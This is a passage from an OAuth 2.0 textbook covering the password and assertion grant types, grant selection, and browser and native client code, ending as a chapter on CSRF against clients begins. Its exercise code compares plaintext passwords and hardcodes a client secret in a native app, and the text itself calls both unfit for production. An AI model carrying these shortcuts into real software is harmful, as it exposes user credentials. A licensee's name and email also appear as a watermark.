can deal only with OAuth tokens. This immediately limits the exposure of the user’s 
credentials across the network and limits the number of components that ever see 
them. Second, in using this grant type a well-meaning client application no longer 
needs to store the passwords and transmit them to the resource servers. The cli-
ent trades them for an access token that it can use at various protected resources. 
Combined with a refresh token, the user experience is unchanged from before but 
the security profile is greatly improved over the alternative. Although using some-
thing like the authorization code grant type is greatly preferable, using this flow is 
sometimes better than replaying the user’s password to the protected resource on 
every request. 
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The way that the grant type works is simple. The client collect’s the resource owner’s 
username and password, using whatever interface it has at its disposal, and replays that 
at the authorization server. 

POST /token

Host: localhost:9001

Accept: application/json

Content-type: application/x-www-form-encoded

Authorization: Basic b2F1dGgtY2xpZW50LTE6b2F1dGgtY2xpZW50LXNlY3JldC0x

grant_type=password&scope=foo%20bar&username=alice&password=secret

The authorization server reads the username and password off the incoming request 
and compares it with its local user store. If they match, the authorization server issues 
a token for that resource owner. 

If you think this looks a lot like a man-in-the-middle attack, you’re not far off. You 
know that you’re not supposed to do this, and why, but we’re going to work through 
how to build it so that you know what not to build in the future, if you can avoid 
it. Hopefully you’ll also be able to see some of the problems inherent in using this 
grant type by watching how the data is put together. Open up ch-6-ex-3 and edit the 
authorizationServer.js file to get started. Since this is a back-channel flow, we’re 
going to be working on the token endpoint once again. Look for the code that handles 
the authorization code grant type.

if (req.body.grant_type == 'authorization_code') {

We’re going to add another clause to this if statement, looking for the password 
value in the grant_type parameter.

} else if (req.body.grant_type == 'password') {

Remember that at this point of the code we’ve already vetted that the client is valid and 
it has authenticated itself, so now we need to find out who the resource owner is. In 
our example code, we’re storing user information in an in-memory data object called 
userInfo. In a production system, user information, including passwords, is likely 
stored in a database or directory of some kind. We’ve provided a simple lookup func-
tion that gets the user information object based on the username.

var getUser = function(username) {

	 return userInfo[username];

};

The details of this function don’t matter for building OAuth functionality, because 
a production system will likely be using a database or other user store. We’ll use this 
function to look up the username that was passed in and make sure the user exists, 
returning an error if it doesn’t.

var username = req.body.username;

var user = getUser(username);

if (!user) {

	 res.status(401).json({error: 'invalid_grant'});

	 return;

}
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Next, we need to see whether the password matches what’s stored on our user objects. 
Since we’re storing simple users in memory and the passwords are in plaintext, we’re 
going to do a straight string comparison of the input password. In any sane production 
system, the password would be hashed and preferably also salted. We’ll return an error 
if the passwords don’t match.

var password = req.body.password;

if (user.password != password) {

	 res.status(401).json({error: 'invalid_grant'});

	 return;

}

The client can also pass in a scope parameter, so we can do the same kinds of scope 
checks that we did in previous exercises. 

var rscope = req.body.scope ? req.body.scope.split(' ') : undefined;

var cscope = client.scope ? client.scope.split(' ') : undefined;

if (__.difference(rscope, cscope).length > 0) {

	 res.status(401).json({error: 'invalid_scope'});

	 return;

}

With all of our checks made, we can generate and return the token. Notice that we can 
(and do) also create a refresh token. By handing the client a refresh token, it doesn’t 
need to store the resource owner’s password any longer.

var access_token = randomstring.generate();

var refresh_token = randomstring.generate();

nosql.insert({ access_token: access_token, client_id: clientId, scope:  

rscope });

nosql.insert({ refresh_token: refresh_token, client_id: clientId, scope: 

rscope });

var token_response = { access_token: access_token, token_type: 'Bearer',  

refresh_token: refresh_token, scope: rscope.join(' ') };

res.status(200).json(token_response);

This generates the regular JSON object that we’ve come to expect from the token 
endpoint. The token is functionally identical to one gotten through any other OAuth 
grant type.

On the client side, we need to first ask the user to type in their username and pass-
word. We’ve set up a form that will prompt the user for their username and password 
in order to get a token (figure 6.4).

For this exercise, use the username alice and the password password, from the first user 
object in the authorization server’s userInfo collection. If the user enters their informa-
tion into this form and presses the button, their credentials will be sent via HTTP POST 
to /username_password on the client. We’ll now set up a listener for that request.

app.post('/username_password', function(req, res) {

	

});
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We’ll pull the username and password out of the incoming request and pass them 
along as is to the authorization server, just like a good man-in-the-middle attack. Unlike 
a real man-in-the-middle attack, we do the right thing and promptly forget about the 
username and password that we were just told because we’re about to get an access 
token instead.

var username = req.body.username;

var password = req.body.password;

	

var form_data = qs.stringify({

	 grant_type: 'password',

	 username: username,

	 password: password,

	 scope: client.scope

});

	

var headers = {

	 'Content-Type': 'application/x-www-form-urlencoded',

	 'Authorization': 'Basic ' + encodeClientCredentials(client.client_id, 

client.client_secret)

};

var tokRes = request('POST', authServer.tokenEndpoint, {	

	 body: form_data,

	 headers: headers

});

The response from the authorization server’s token endpoint is the same one we’ve 
come to expect, so we’ll parse out the access token and keep moving with our applica-
tion as if we hadn’t just committed a horrible security faux pas.

if (tokRes.statusCode >= 200 && tokRes.statusCode < 300) {

	 var body = JSON.parse(tokRes.getBody());

	

	 access_token = body.access_token;

	 scope = body.scope;

	 res.render('index', {access_token: access_token, refresh_token: refresh_

token, scope: scope});

Figure 6.4  The client prompting the user for their username and password
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} else {

	 res.render('error', {error: 'Unable to fetch access token, server 

response: ' + tokRes.statusCode})

}

None of the rest of the client application needs to change. The access token collected 
here is presented to the protected resource in exactly the same way, shielding the 
protected resource from knowing that we just saw a user’s password in all its plaintext 
glory. It’s important to remember that in the old way of solving this kind of problem, 
the client would be replaying the user’s password directly to the protected resource on 
every request. Now with this grant type, even if the client isn’t doing the absolute best 
thing here, the protected resource itself now doesn’t have to know or see the user’s 
credentials in any fashion.

Now that you know how to use this grant type, if you can at all avoid it, please don’t do 
it in real life. This grant type should be used only to bridge clients that would otherwise 
be dealing with a direct username and password into the OAuth world, and such clients 
should instead use the authorization code flow in almost all cases as soon as possible. As 
such, don’t use this grant type unless you have no other choice. The internet thanks you.

6.1.4	 Assertion grant types

In the first official extension grant types to be published3 by the OAuth working group, 
the assertion grant types, the client is given a structured and cryptographically pro-
tected item called an assertion to give to the authorization server in exchange for a 
token. You can think of an assertion as something like a certified document such as 
a diploma or license. You can trust the document’s contents to be true as long as you 
trust the certifying authority’s ability to make those statements truthfully (figure 6.5).

Two formats are standardized so far: one using Security Assertion Markup Language 
(SAML),4 and another using JSON Web Token (JWT)5 (which we’ll cover in chapter 
11). This grant type uses the back channel exclusively, and much like the client cre-
dentials flow there may not be an explicit resource owner involved. Unlike the client 
credentials flow, the rights associated with the resulting token are determined by the 
assertion being presented and not solely by the client itself. Since the assertion gener-
ally comes from a third party external to the client, the client can remain unaware of 
the nature of the assertion itself. 

Like other back-channel flows, the client makes an HTTP POST to the authoriza-
tion server’s token endpoint. The client authenticates itself as usual and includes the 
assertion as a parameter. The means by which the client can get this assertion vary 
wildly, and are considered out of scope by many of the associated protocols. The cli-
ent could be handed the assertion by a user, or by a configuration system, or through 
another non-OAuth protocol. In the end, as with an access token, it doesn’t matter 

3  RFC 7521 https://tools.ietf.org/html/rfc7521
4  RFC 7522 https://tools.ietf.org/html/rfc7522
5  RFC 7523 https://tools.ietf.org/html/rfc7523
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how the client got the assertion as long as it’s able to present the assertion to the 
authorization server. In this example, the client is presenting a JWT assertion, which is 
reflected in the value of the grant_type parameter.

POST /token HTTP/1.1

Host: as.example.com

Content-Type: application/x-www-form-urlencoded

Authorization: Basic b2F1dGgtY2xpZW50LTE6b2F1dGgtY2xpZW50LXNlY3JldC0x

grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer
&assertion=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6InJzYS0xIn0.eyJpc3MiOi 

JodHRwOi8vdHJ1c3QuZXhhbXBsZS5uZXQvIiwic3ViIjoib2F1dGgtY2xpZW50LTEiLCJzY29wZSI 

6ImZvbyBiYXIgYmF6IiwiYXVkIjoiaHR0cDovL2F1dGhzZXJ2ZXIuZXhhbXBsZS5uZXQvdG9rZW4i 

LCJpYXQiOjE0NjU1ODI5NTYsImV4cCI6MTQ2NTczMzI1NiwianRpIjoiWDQ1cDM1SWZPckRZTmxXO 

G9BQ29Xb1djMDQ3V2J3djIifQ.HGCeZh79Va-7meazxJEtm07ZyptdLDu_Ocfw82F1zAT2p6Np6Ia_ 

vEZTKzGhI3HdqXsUG3uDILBv337VNweWYE7F9ThNgDVD90UYGzZN5VlLf9bzjnB2CDjUWXBhgepSy 

aSfKHQhfyjoLnb2uHg2BUb5YDNYk5oqaBT_tyN7k_PSopt1XZyYIAf6-5VTweEcUjdpwrUUXGZ0fl

a8s6RIFNosqt5e6j0CsZ7Eb_zYEhfWXPo0NbRXUIG3KN6DCA-ES6D1TW0Dm2UuJLb-LfzCWsA1W_

sZZz6jxbclnP6c6Pf8upBQIC9EvXqCseoPAykyR48KeW8tcd5ki3_tPtI7vA

The body of this example assertion translates to the following:

{

  "iss": "http://trust.example.net/",

  "sub": "oauth-client-1",

  "scope": "foo bar baz",

  "aud": "http://authserver.example.net/token",

  "iat": 1465582956,

  "exp": 1465733256,

  "jti": "X45p35IfOrDYNlW8oACoWoWc047Wbwv2"

}

Authorization
Server 

Assertion
provider

Protected
Resource

Client

Client trades a
cryptographically 
protected element

(assertion) for a token

Figure 6.5  The assertion grant type family
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The authorization server parsers the assertion, checks its cryptographic protection, 
and processes its contents to determine what kind of token to generate. This asser-
tion can represent any number of different things, such as a resource owner’s identity 
or a set of allowed scopes. The authorization server will generally have a policy that 
determines the parties that it will accept assertions from and rules for what those asser-
tions mean. In the end, it generates an access token as with any other response from 
the token endpoint. The client can then take this token and use it at the protected 
resource in the normal fashion. 

Implementation of this grant type is similar to other back-channel-only flows, 
wherein the client presents information to the token endpoint and the authorization 
server issues a token directly. In the real world, you’re likely to see assertions used 
only in limited, usually enterprise, contexts. Generating and processing assertions in a 
secure manner is an advanced topic worthy of its own set of books, and implementing 
the assertions flow is left as an exercise to the reader. 

6.1.5	 Choosing the appropriate grant type

With all of these choices for grant types, it may seem a daunting task to decide which 
one is the most appropriate for the task at hand. Thankfully, there are a few good 
ground rules to follow that can guide you in the right direction (figure 6.6).

Is your client acting on behalf of a particular resource owner? And do you have the ability 
to send that user to a webpage inside their web browser? If so, you’ll want to use one 

Is the client acting 
on behalf of a 

resource owner?

Is the client running 
completely inside of a 

web browser?

Is the client a native 
application?

Yes

Yes

Yes

Yes

Yes

Yes Yes

No

No

NoNo

Can the resource owner 
interact with a web browser 

while using the client?

Does the user have a 
simple set of credentials 

like a password?

Is the client acting 
on its own behalf?

Authorization 
Code

Add PKCE 
or DynReg

Assertion

Resource Owner 
Credentials

Client 
Credentials

Implicit

Is the client acting 
on the authority of a 
trusted third party?

Choose the appropriate
OAuth grant type for

the type of application   
you’re building

Figure 6.6  Choosing the right grant type
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of the redirect-based flows: authorization code or implicit. Which one? That depends 
on the client.

Is your client completely inside a web browser? This doesn’t include applications that 
execute on a server and whose user interface is accessed through a web browser, only 
applications that live and die entirely within the browser itself. If so, then you’ll want 
to use the implicit flow, as it is an optimization for this specific case. If not, whether the 
application is served from a web server or runs natively on the user’s computer, you’ll 
want to use the authorization code flow, as it has the best security properties and most 
flexibility. 

Is your client a native application? You should already be using the authorization code 
grant type, but as we’ll see in chapters 7, 10, and 12 you’ll want to be using specific 
security extensions in addition to the authorization code grant type such as dynamic 
registration (DynReg) or proof key for code exchange (PKCE). We will look at these in 
more depth as we discuss native applications later in this chapter.

Is your client acting on its own behalf? This includes accessing APIs that don’t neces-
sarily map to a single user, such as bulk data transfers. If so, then you should be using 
the client credentials flow. If you’re using an API that has you specify in a parameter 
which user you’re acting on, you should consider using one of the redirect-based flows 
instead, as that will allow individualized consent and auditing.

Is your client working under the direction of an authoritative third party? Can that third 
party give you something directly that proves you can act on its behalf? If so, then you 
should probably be using one of the assertion flows. Which one you use depends on 
the authorization server and the third party that issues the assertion.

Is your client unable to redirect a user in a browser? Does that user have a simple set of 
credentials that you can talk them into giving to you? Do you have no other option? If 
so, then maybe you can use the resource owner credentials flow and be conscientious 
of its limitations. But don’t say we didn’t warn you.

6.2	 Client deployments
OAuth clients come in many different forms and styles, but they can be broadly cat-
egorized into one of three categories: web applications, in-browser applications, and 
native applications. Each of these has its own strengths and weaknesses, and we’ll cover 
them in turn.

6.2.1	 Web applications

The original use case of the OAuth client is the web application. These are applica-
tions that execute on a remote server and are accessed through a web browser. The 
application configuration and its runtime state are held on the web server, and the 
browser connection is usually connected using a session cookie.

These applications are able to make full use of both front- and back-channel com-
munication methods. Since the user is already interacting through a browser, activat-
ing a request on the front channel is as simple as sending an HTTP redirect message 
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to the browser. Listening for the response on the front channel is equally simple as the 
application is already listening for HTTP requests. Back channel communication can 
occur by making an HTTP call directly from the web server running the application. 
Because of this flexibility, web applications can easily use the authorization code, client 
credentials, or assertions flows most effectively. Since the fragment component of the 
request URI isn’t usually passed to the server by the browser, the implicit flow doesn’t 
work for web applications in most circumstances. 

We’ve covered several examples and variations of web applications in chapters 2 and 
3, so we’re not going to cover them in any additional depth here.

6.2.2	 Browser applications

Browser applications are those that execute entirely inside the web browser, typically 
using JavaScript. Although the code for the application does need to be served from 
a web server, the code itself doesn’t execute on the server, and the web server doesn’t 
keep any of the runtime state of the application. Instead, everything about the applica-
tion happens on the end user’s computer inside their web browser.

These clients can easily use the front channel, as sending the user to another page 
through an HTTP redirect is trivial. Responses from the front channel are also simple, 
as the client’s software does need to be loaded from a web server. However, back-
channel communication is more complicated, as browser applications are limited by 
same-origin policies and other security restrictions designed to prevent cross-domain 
attacks. Consequently, these types of applications are best suited for the implicit flow, 
which has been optimized for this case. 

Let’s take a hands-on look at a browser application. Open up ch-6-ex-4 and edit 
files/client/index.html. Unlike other examples in this book, we won’t be editing 
the Node.js code this time, but instead we’ll be looking at code that’s running inside 
the browser. We still need a client configuration and authorization server configura-
tion in order for this to function, and they’ve been included as objects at the top of the 
main function, as in our web application.

var client = {

  'client_id': 'oauth-client-1',

  'redirect_uris': ['http://localhost:9000/callback'],

  'scope': 'foo bar'

};

var authServer = {

  authorizationEndpoint: 'http://localhost:9001/authorize'

};

var protectedResource = 'http://localhost:9002/resource';

When the user clicks the Authorize button, we generate a front-channel request to the 
authorization server’s authorization endpoint. First, we’ll generate a state value and 
store it in HTML5 local storage so that we can pick it up later.
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var state = generateState(32);

localStorage.setItem('oauth-state', state);

Then we’ll build the URI to the authorization endpoint and send the resource owner 
there with an HTTP redirect.

location.href = authServer.authorizationEndpoint + '?' + 

	 'response_type=token' +
	 '&state=' + state +

	 '&scope=' + encodeURIComponent(client.scope) + 

	 '&client_id=' + encodeURIComponent(client.client_id) +

	 '&redirect_uri=' + encodeURIComponent(client.redirect_uris[0]);

This request is identical to the one used in the web application examples except that 
the response_type has been set to token. This application uses a full-page redirect to 
the authorization server to start this process, which means that the entire application 
is reloaded and must restart upon callback. An alternative approach is to use an inline 
frame, or iframe, to send the resource owner to the server. 

When the resource owner returns on the redirect URI, we need to be able to listen 
for that callback and process the response. Our application does this by checking the 
state of the URI fragment, or hash, when the page is loaded. If the fragment exists, we 
parse out its components into the access token and scopes.

var h = location.hash.substring(1);

var whitelist = ['access_token', 'state']; // for parameters

callbackData = {};

h.split('&').forEach(function (e) {

  var d = e.split('=');

  if (whitelist.indexOf(d[0]) > -1) {

    callbackData[d[0]] = d[1];  

  }

});

if (callbackData.state !== localStorage.getItem('oauth-state')) {

  callbackData = null;

  $('.oauth-protected-resource').text("Error state value did not match");

} else {

  $('.oauth-access-token').text(callbackData.access_token);

}

From here, our application can start using the access token with protected resources. 
Note that access to external sites from a JavaScript application still requires cross-
domain security configuration, such as CORS, on the part of the protected resource, 
as we’ll discuss in chapter 8. Using OAuth in this type of application allows for a kind 
of cross-domain session, mediated by the resource owner and embodied by the access 
token. Access tokens in this case are usually short lived and often limited in scope. To 
refresh this session, send the resource owner back to the authorization server to get a 
new access token. 
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6.2.3	 Native applications

Native applications are those that run directly on the end user’s device, be it a com-
puter or mobile platform. The software for the application is generally compiled or 
packaged externally and then installed on the device. 

These applications can easily make use of the back channel by making a direct 
HTTP call outbound to the remote server. Since the user isn’t in a web browser, as they 
are with a web application or a browser client, the front channel is more problematic. 
To make a front-channel request, the native application needs to be able to reach out 
to the system web browser or an embedded browser view to get the user to the autho-
rization server directly. To listen for front-channel responses, the native application 
needs to be able to serve a URI that the browser can be redirected to by the authoriza-
tion server. This usually takes one of the following forms:

■■ An embedded web server running on localhost
■■ A remote web server with some type of out-of-band push notification capability 

to the application
■■ A custom URI scheme such as com.oauthinaction.mynativeapp:/ that is reg-

istered with the operating system such that the application is called when URIs 
with that scheme are accessed 

For mobile applications, the custom URI scheme is the most common. Native applica-
tions are capable of using the authorization code, client credentials, or assertion flows 
easily, but because they can keep information out of the web browser, it is not recom-
mended that native applications use the implicit flow.

Let’s see how to build a native application. Open up ch-6-ex-5, and you’ll find the 
code for the authorization server and protected resource in there as usual. However, 
the client will be in the native-client subdirectory this time instead of a client.
js script in the main folder. All the exercises in this book so far are developed in Java
Script using the Express.js web application framework running on Node.js. A native 
application doesn’t need to be accessible from a web browser, but we still tried to be 
consistent with the choice of language. For this reason, we chose to use the Apache 
Cordova6 platform, which allows us to build a native application using JavaScript. 

Do I need to use web technologies to build an OAuth client?

For consistency’s sake in all the exercises in this book, we’re using many of the 
same languages and technologies in our native application exercise that we’ve been 
using in our web-based applications. However, that’s not to say that you need to 
build your own native application using HTML and JavaScript, or any other particular 
language or platform. An OAuth application needs  be able to make direct HTTP 
(continued)

6  https://cordova.apache.org/

Licensed to Hans Otten <hans.otten@autodata.net>



	 Client deployments	 113

calls to the back-channel endpoints, launch a system browser for the front-channel 
endpoints, and listen for the responses from those front-channel endpoints on some 
kind of URI addressable from the browser. The details of how this happens vary 
depending on the platform, but these functions are available with many different 
application frameworks.  

Just as before, we tried to focus the attention on OAuth and shield you, the reader, 
from as many of the platform specific quirks as we could. Apache Cordova is available 
as a module in Node Package Manager (NPM), so installation is similar to other Node.
js modules. Although the details of this vary from system to system, we’re going to show 
an example from a Mac OSX platform.

> sudo npm install -g cordova
> npm install ios-sim

Now that this is done, let’s take a look at the native application’s code. Open up ch-
6-ex-5/native-client/ and edit www/index.html. As in the browser application 
exercise, we won’t be editing any code this time, but instead we’ll be looking at code 
that’s running inside the native application. You run the native application in your 
computer. In order to do so, you need a few additional steps. Inside the ch-6-ex-5/
native-client/ directory you need to add a runtime platform. Here we’re using iOS, 
and different platforms are available in the Cordova framework.

> cordova platform add ios 

You then need to install a couple of plugins so that your native application can call the 
system browser and listen to a custom URL scheme.

> cordova plugin add cordova-plugin-inappbrowser
> cordova plugin add cordova-plugin-customurlscheme --variable URL_SCHEME= 
com.oauthinaction.mynativeapp

Finally, we can run our native app.

> cordova run ios

This should pull up the application in a mobile phone simulator (figure 6.7).
Now let’s take a look at the code. The first thing to notice is the client configuration.

var client = {

	 "client_id": "native-client-1",

 	 "client_secret": "oauth-native-secret-1",

	 "redirect_uris": ["com.oauthinaction.mynativeapp:/"],

	 "scope": "foo bar"

};

As you can see, the registration details are same as they are for a normal OAuth 
client. One thing that might catch your attention is the registered redirect_uris. 
This is different from a traditional client because it uses a custom URI scheme, 
com.oauthinaction.mynativeapp:/ in this case, rather than a more traditional 
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https://. Whenever the system browser sees a URL starting with com.oauthinaction 
.mynativeapp:/, whether it’s from a link clicked by the user or an HTTP redirect 
from another page or from an explicit launch from another application, our appli-
cation will get called using a special handler. Inside this handler, we have access 
to the full URL string that was used in the link or redirect, just as if we were a web 
server serving the URL through HTTP. 

Figure 6.7  A native mobile OAuth client application

Keeping secrets in native applications

In our exercise, we’re using a client secret that’s been configured directly into the 
client as we did with the web application in chapter 3. In a production native appli-
cation, our exercise’s approach doesn’t work very well because each copy of the 
application would have access to the secret, which of course doesn’t make it very 
secret. A few alternative options are available to use in practice. We’ll cover this 
issue in greater detail in section 6.2.4, but for the moment we’ve opted for consis-
tency between the examples here.
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The authorization server and protected resource configuration are the same as for the 
other examples.

var authServer = {

	 authorizationEndpoint: 'http://localhost:9001/authorize',

	 tokenEndpoint: 'http://localhost:9001/token',

};

var protectedResource = 'http://localhost:9002/resource';

Since we’re going to use the authorization code flow, when the user clicks the Autho-
rize button, we generate a front-channel request using response_type=code request 
parameter. We still need to generate a state value and store it in our application (using 
HTML5 local storage in Apache Cordova) so that we can pick it up later.

var state = generateState(32);

localStorage.setItem('oauth-state', state);

Having done this, we’re ready to build the request. This request is identical to the 
authorization request we used in chapter 3 when we first met the authorization code 
grant type.

var url = authServer.authorizationEndpoint + '?' +

	 'response_type=code' +
	 '&state=' + state +

	 '&scope=' + encodeURIComponent(client.scope) +

	 '&client_id=' + encodeURIComponent(client.client_id) +

	 '&redirect_uri=' + encodeURIComponent(client.redirect_uris[0]);

To initiate the request to the authorization server, we need to invoke the system browser 
from our application. Since the user isn’t already in a web browser, we can’t simply use 
an HTTP redirect as we could with web-based clients.

cordova.InAppBrowser.open(url, '_system');

After the resource owner authorizes the client, the authorization server redirects them 
in the system browser to the redirect URI. Our application needs to be able to listen 
for that callback and process the response as if it were an HTTP server. This is done in 
the handleOpenURL function.

function handleOpenURL(url) {

	 setTimeout(function() {

		  processCallback(url.substr(url.indexOf('?') + 1));

	 }, 0);

}

This function listens for incoming calls on com.oauthinaction.mynativeapp:/ 
and extracts the request parameters from the URI, sending those parameters to the 
processCallback function. In the processCallback, we parse out the components 
to get the code and state parameters.

var whitelist = ['code', 'state']; // for parameters

callbackData = {};
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h.split('&').forEach(function (e) {

var d = e.split('=');

if (whitelist.indexOf(d[0]) > -1) {

	 callbackData[d[0]] = d[1];  

}

We once again need to check that the state matches. If it doesn’t match, we show an 
error.

if (callbackData.state !== localStorage.getItem('oauth-state')) {

	 callbackData = null;

	 $('.oauth-protected-resource').text("Error: state value did not match");

If the state presented is correct, we can trade the authorization code for an access 
token. We do this by making a direct HTTP call in the back channel. On the Cordova 
framework, we use the JQuery ajax function to make this call.

$.ajax({

	 url: authServer.tokenEndpoint,

	 type: 'POST',

	 crossDomain: true,

	 dataType: 'json',

	 headers: {

		  'Content-Type': 'application/x-www-form-urlencoded'                 

	 },

	 data: {

		  grant_type: 'authorization_code',

		  code: callbackData.code,

		  client_id: client.client_id,

		  client_secret: client.client_secret,

	 }

}).done(function(data) {

	 $('.oauth-access-token').text(data.access_token);

	 callbackData.access_token = data.access_token;

}).fail(function() {

	 $('.oauth-protected-resource').text('Error while getting the access 

token');

});

Once we have the access token, we can then consume the protected resource API 
using the given access token. Here we’ve wired up that call to the event handler for 
our button.

function handleFetchResourceClick(ev) {

	 if (callbackData != null ) {

	 $.ajax({

		  url: protectedResource,

		  type: 'POST',

		  crossDomain: true,

		  dataType: 'json',

		  headers: {

			   'Authorization': 'Bearer ' + callbackData.access_token

		  }

	 }).done(function(data) {

		  $('.oauth-protected-resource').text(JSON.stringify(data));

Licensed to Hans Otten <hans.otten@autodata.net>



	 Client deployments	 117

	 }).fail(function() {

		  $('.oauth-protected-resource').text('Error while fetching the 

protected resource');

	 });

}

The native application can now use this token for as long as it needs to access the 
protected resource. Since we used the authorization code flow, we can also be issued 
a refresh token to be used when the access token expires. This approach allows us to 
have a smooth user experience in our native application while keeping the security 
profile of OAuth.

6.2.4	 Handling secrets

The purpose of the client secret is to let an instance of client software authenticate 
itself to the authorization server, apart from any authorizations conferred to it by the 
resource owner. The client secret isn’t available to the resource owner or the browser, 
allowing it to uniquely identify the client software application. In OAuth 1.0, every cli-
ent was expected to have its own client secret (known as a consumer key in that specifica-
tion), regardless of the kind of client that it was. However, as we’ve seen throughout 
this chapter, not all OAuth clients are created equal. Although a web application can 
be configured with a client secret away from the browser and end user, native applica-
tions and browser applications can’t. 

The problem comes from needing to differentiate between configuration time 
secrets, which every copy of a client gets, and runtime secrets, which are distinct for each 
instance. Client secrets are configuration time secrets because they represent the cli-
ent software itself and are configured into the client software. Access tokens, refresh 
tokens, and authorization codes are all runtime secrets because they’re stored by the 
client software after it is deployed and running. Runtime secrets do still need to be 
stored securely and protected appropriately, but they’re designed to be easily revo-
cable and rotatable. Configuration time secrets, in contrast, are generally things that 
aren’t expected to change often. 

In OAuth 2.0, this dichotomy is addressed by removing the requirement for all cli-
ents to have a client secret and instead defining two classes of clients, public clients and 
confidential clients, based on their ability to keep a configuration time secret. 

Public clients, as the name suggests, are unable to hold configuration time secrets 
and therefore have no client secret. This is usually because the code for the client is 
exposed to the end user in some fashion, either by being downloaded and executed 
in a browser or by executing natively on the user’s device. Consequently, most browser 
applications and many native applications are public clients. In either case, each copy 
of the client software is identical and there are potentially many instances of it. The 
user of any instance could extract the configuration information for that instance, 
including any configured client ID and client secret. Although all instances share the 
same client ID, this doesn’t cause a problem because the client ID isn’t intended to 
be a secret value. Anyone attempting to impersonate this client by copying its client 
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ID will still need to use its redirect URIs and be bound by other measures. Having an 
additional client secret, in this case, does no good because it could be extracted and 
copied along with the client ID. 

A potential mitigation is available for applications that use the authorization 
code flow in the form of Proof Key for Code Exchange (PKCE), discussed in chap-
ter 10. The PKCE protocol extension allows a client to more tightly bind its initial 
request to the authorization code that it receives, but without using a client secret 
or equivalent.

Confidential clients are able to hold configuration time secrets. Each instance of the 
client software has a distinct configuration, including its client ID and secret, and these 
values are difficult to extract by end users. A web application is the most common type 
of confidential client, as it represents a single instance running on a web server that 
can handle multiple resource owners with a single OAuth client. The client ID can be 
gathered as it is exposed through the web browser, but the client secret is passed only 
in the back channel and is never directly exposed. 

An alternative approach to this problem is to use dynamic client registration, dis-
cussed in depth in chapter 12. By using dynamic client registration, an instance of a 
piece of client software can register itself at runtime. This effectively turns what would 
otherwise need to be a configuration time secret into a runtime secret, allowing a 
higher level of security and functionality to clients that would otherwise be unable to 
use it.

6.3	 Summary
OAuth 2.0 gives you a lot of options inside a common protocol framework.

■■ The canonical authorization code grant type can be optimized in several ways for 
different deployments.

■■ Implicit grants can be used for in-browser applications without a separate client.
■■ Client credentials grants and assertion grants can be used for server-side applica-

tions without an explicit resource owner.
■■ Nobody should be using the resource owner credentials grant unless they really 

have no other choice.
■■ Web applications, browser applications, and native applications all have differ-

ent quirks for using OAuth, but all share a common core.
■■ Confidential clients can keep client secrets, but public clients can’t. 

Now that we’ve had a thorough look at how things are supposed to work in an OAuth 
ecosystem, we’re going to take a look at some of the things that can go wrong. Read on 
to learn how to deal with vulnerabilities found in implementations and deployments 
of OAuth.
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OAuth 2 implementation  
and vulnerabilities

In this section, you’ll get to look at how everything can fall to pieces if it’s not 
implemented and deployed properly. While OAuth 2.0 is a security protocol, 
its use does not guarantee security on its own. Indeed, everything needs to be 
deployed and managed correctly. Additionally, some of the deployment choices 
in OAuth 2.0’s specification can lead to bad setups. Instead of giving you a false 
sense of security by telling you you’re using a solid security protocol (which you 
are), we’ll show you exactly where many of the pitfalls are and how to avoid them.
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7Common client vulnerabilities

This chapter covers
■  ■ Avoiding common implementation vulnerabilities in the OAuth clients

■  ■ Protecting OAuth clients against known attacks 

As we discussed in chapter 1, in the OAuth ecosystem there are many more clients 
than other types of components, both in variety and in number. What should you do 
if you’re implementing a client? Well, you can download the OAuth core specifica-
tion1 and follow it as best you can. Additionally, you can read some helpful tutorials 
from the OAuth community, scattered across a wide variety of mailing lists, blogs, 
and so on. If you’re particularly keen on security, you can even read the “OAuth 2.0 
Threat Model and Security Considerations” specification2 and follow similar best 
practice guides. But even then, will your implementation be bulletproof? In this 
chapter, we’re going to look at a few common attacks against clients and discover 
practical ways to prevent them.

7.1	 General client security
The OAuth client has a few things that it needs to protect. If it has a client secret, it 
needs to make sure that this is stored in a place that is not easily accessible to outside 

1 � RFC 6749: https://tools.ietf.org/html/rfc6749
2 � RFC 6819: https://tools.ietf.org/html/rfc6819
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parties. As it collects access tokens and refresh tokens, it likewise needs to make sure that 
these aren’t made available to components outside the client software itself and the other 
OAuth entities that it interacts with. The client also needs to be careful that these secrets 
aren’t accidentally placed into audit logs or other ledgers where a third party could later 
surreptitiously look for them. This is all fairly straightforward security practice, and its 
implementation varies depending on the platform of the client software itself.

However, outside of simple theft of information from a storage system, OAuth cli-
ents can still be vulnerable in a number of ways. One of the most common mistakes is 
to use OAuth as an authentication protocol without taking any extra precautions, and 
this is such a broad issue that we’ve dedicated much of chapter 13 to its discussion. 
There you’ll encounter some issues such as the “confused deputy problem” and other 
authentication-related security issues. One of the worst results of a security breach to 
an OAuth client is to leak the resource owner’s authorization codes or access tokens 
through sloppy implementation of the OAuth protocol. On top of the damage caused 
to the resource owner, this can indeed generate some kind of uncertainty around the 
client application with significant repercussions on the use of the product with sub-
stantial reputational and/or financial loss for the company behind the OAuth client. 
There are many security threats that a person implementing an OAuth client should 
guard against, and we’re going to discuss those one by one in the following sections.

7.2	 CSRF attack against the client
As seen in the previous chapters, both the authorization code and the implicit grant 
types mention a recommended state parameter. This parameter is, according to the 
OAuth core specification:3

An opaque value used by the client to maintain state between the request and callback. 
The authorization server includes this value when redirecting the user-agent back to the 
client. The parameter SHOULD be used for preventing cross-site request forgery (CSRF).

What is cross-site request forgery (CSRF) then, and why should we pay attention to it? 
To start with the second part of the question, CSRF is one of the most common attacks 
on the internet, and it’s also listed in the OWASP Top Ten,4 a list of the current 10 
most dangerous web application security flaws and effective methods for dealing with 
them. One of the main reasons for its popularity is the fact that this threat isn’t well 
understood by the average developer, thus providing an easier target for the attacker.

What is OWASP?

The Open Web Application Security Project (OWASP) is a not-for-profit group that 
educates developers, designers, architects, and business owners about the risks 
(continued)	  
 

3 � RFC 6749: https://tools.ietf.org/html/rfc6749
4 � https://www.owasp.org/index.php/Top_10_2013-A8-Cross-Site_Request_Forgery_%28CSRF%29
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associated with the most common web application security vulnerabilities. Project 
members include a variety of security experts from around the world who share their 
knowledge of vulnerabilities, threats, attacks, and countermeasures. 

CSRF occurs when a malicious application causes the user’s browser to perform 
an unwanted action through a request to a web site where the user is currently 
authenticated. How is that possible? The main thing to keep in mind is that brows-
ers make requests (with cookies) to any origin, allowing specific actions to be per-
formed when requested. If a user is logged in to one site that offers the capability 
to execute some sort of task and an attacker tricks the user’s browser into making a 
request to one of these task URIs, then the task is performed as the logged-in user. 
Typically, an attacker will embed malicious HTML or JavaScript code into an email 
